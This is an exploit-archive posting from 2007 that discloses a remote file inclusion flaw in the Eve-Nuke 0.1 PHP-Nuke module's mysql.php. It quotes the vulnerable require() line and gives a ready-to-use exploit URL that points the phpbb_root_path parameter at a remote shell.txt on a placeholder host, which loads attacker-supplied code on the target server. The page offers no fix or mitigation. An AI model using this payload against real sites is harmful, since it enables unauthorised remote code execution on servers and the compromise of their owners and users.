PHP-Nuke Module Eve-Nuke 0.1 (mysql.php) RFI Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : PHP-Nuke Module Eve-Nuke 0.1 (mysql.php) RFI Vulnerability
# Published : 2007-03-27
# Author : ThE TiGeR
# Previous Title : Joomla Component D4JeZine <= 2.8 Remote BLIND SQL Injection Exploit
# Next Title : Web Content System 2.7.1 Remote File Inclusion Exploit

#===========================================================================================
#Eve-NukePortal file include (phpbb_root_path)
#===========================================================================================
#
#Script name :Eve-Nuke Portal
#
#Download script : http://puzzle.dl.sourceforge.net/sourceforge/eve-nuke/en-forums-beta.zip
#
#===========================================================================================
#Vulnerable Code :
#
#require($phpbb_root_path . 'includes/functions_nuke.'.$phpEx);
#
#===========================================================================================
#Exploit :
#
#http://www.site.com/modules/EN-Forums/db/mysql.php?phpbb_root_path=http://www.site.com/shell.txt?
#
#===========================================================================================
#
#Discoverd By : ThE TiGeR
#
#Contact : miro_tiger100[at]hotmail[dot]com
#
#===========================================================================================

# www.Syue.com [2007-03-27]